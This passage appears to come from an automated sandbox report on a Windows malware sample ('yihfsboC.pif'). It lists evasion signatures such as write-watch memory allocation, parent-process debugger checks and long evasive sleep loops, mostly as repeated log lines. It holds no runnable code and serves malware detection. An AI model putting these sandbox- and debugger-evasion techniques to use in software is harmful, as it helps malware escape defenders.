Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Source: C:\Users\Public\Libraries\yihfsboC.pif Process information set: NOOPENFILEERRORBOX
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\Public\Libraries\yihfsboC.pif Memory allocated: 24170000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Memory allocated: 26060000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Memory allocated: 25E10000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Memory allocated: 343D0000 memory reserve | memory write watch
Source: C:\Users\Public\Libraries\yihfsboC.pif Memory allocated: 34950000 memory reserve | memory write watch
Source: C:\Users\Public\Libraries\yihfsboC.pif Memory allocated: 345F0000 memory reserve | memory write watch
Source: C:\Users\Public\Libraries\yihfsboC.pif Memory allocated: 28410000 memory reserve | memory write watch
Source: C:\Users\Public\Libraries\yihfsboC.pif Memory allocated: 28910000 memory reserve | memory write watch
Source: C:\Users\Public\Libraries\yihfsboC.pif Memory allocated: 286C0000 memory reserve | memory write watch
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Source: C:\Users\Public\Libraries\yihfsboC.pif Code function: 14_2_004019F0 OleInitialize,_getenv,GetCurrentProcessId,CreateToolhelp32Snapshot,Module32First,CloseHandle,Module32Next,Module32Next,CloseHandle,GetModuleHandleA,FindResourceA,LoadResource,LockResource,SizeofResource,_malloc,_memset,SizeofResource,_memset,FreeResource,_malloc,SizeofResource,_memset,LoadLibraryA,GetProcAddress,VariantInit,VariantInit,VariantInit,SafeArrayCreate,SafeArrayAccessData,SafeArrayUnaccessData,SafeArrayDestroy,SafeArrayCreateVector,@__unlockDebuggerData$qv,VariantClear,VariantClear,VariantClear, 14_2_004019F0
Contains long sleeps (>= 3 min)
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 600000 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599875 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599766 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599656 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599547 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599437 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599328 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599219 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599109 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598974 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598844 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598734 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598625 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598516 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598406 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598297 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598188 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598063 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597953 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597844 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597719 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597610 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597485 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597360 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597235 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597110 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596985 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596860 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596735 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596610 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596485 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596360 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596246 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596125 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596016 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595891 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595781 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595672 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595563 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595438 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595313 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595203 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595094 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594969 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594859 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594750 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594641 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594531 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594422 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594313 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599875
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599766
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599641
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599516
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599406
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599297
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599188
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599063
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598938
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598828
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598719
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598594
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598485
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598360
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598235
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598110
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597985
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597860
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597735
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597610
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597485
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597360
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597235
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597110
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596985
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596860
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596735
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596610
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596485
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596360
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596235
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596110
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595985
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595860
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595735
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595622
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595500
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595391
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595266
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595156
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595047
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594936
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594828
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594688
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594559
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594452
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594344
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594234
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594125
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 922337203685477
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 600000
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599874
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599756
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599625
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599515
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599406
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599296
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599187
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 599078
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598968
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598859
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598749
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598635
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598515
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598406
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598296
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598187
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 598078
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597968
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597859
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597749
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597640
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597531
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597421
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597312
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597203
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 597093
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596984
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596875
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596765
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596656
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596546
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596437
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596328
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596218
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 596109
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595999
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595890
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595780
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595671
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595562
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595453
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595343
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595234
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595125
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 595015
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594906
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594796
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594686
Source: C:\Users\Public\Libraries\yihfsboC.pif Thread delayed: delay time: 594578
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\Public\Libraries\yihfsboC.pif Window / User API: threadDelayed 8892 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Window / User API: threadDelayed 949 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif Window / User API: threadDelayed 8184
Source: C:\Users\Public\Libraries\yihfsboC.pif Window / User API: threadDelayed 1643
Source: C:\Users\Public\Libraries\yihfsboC.pif Window / User API: threadDelayed 7560
Source: C:\Users\Public\Libraries\yihfsboC.pif Window / User API: threadDelayed 2292
Found large amount of non-executed APIs
Source: C:\Users\Public\alpha.pif API coverage: 6.2 %
Source: C:\Users\Public\alpha.pif API coverage: 7.9 %
Source: C:\Users\Public\Libraries\Cobsfhiy.PIF API coverage: 9.5 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -26747778906878833s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -600000s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -599875s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8084 Thread sleep count: 8892 > 30 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8084 Thread sleep count: 949 > 30 Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -599766s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -599656s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -599547s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -599437s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -599328s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -599219s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -599109s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -598974s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -598844s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -598734s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -598625s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -598516s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -598406s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -598297s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -598188s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -598063s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -597953s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -597844s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -597719s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -597610s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -597485s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -597360s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -597235s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -597110s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -596985s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -596860s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -596735s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -596610s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -596485s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -596360s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -596246s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -596125s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -596016s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -595891s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -595781s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -595672s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -595563s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -595438s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -595313s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -595203s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -595094s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -594969s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -594859s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -594750s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -594641s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -594531s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -594422s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8080 Thread sleep time: -594313s >= -30000s Jump to behavior
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep count: 33 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -30437127721620741s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -600000s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -599875s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8120 Thread sleep count: 8184 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8120 Thread sleep count: 1643 > 30
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -599766s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -599641s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -599516s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -599406s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -599297s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -599188s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -599063s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -598938s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -598828s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -598719s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -598594s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -598485s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -598360s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -598235s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -598110s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -597985s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -597860s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -597735s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -597610s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -597485s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -597360s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -597235s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -597110s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -596985s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -596860s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -596735s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -596610s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -596485s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -596360s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -596235s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -596110s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -595985s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -595860s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -595735s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -595622s >= -30000s
Source: C:\Users\Public\Libraries\yihfsboC.pif TID: 8116 Thread sleep time: -595500s >= -30000s
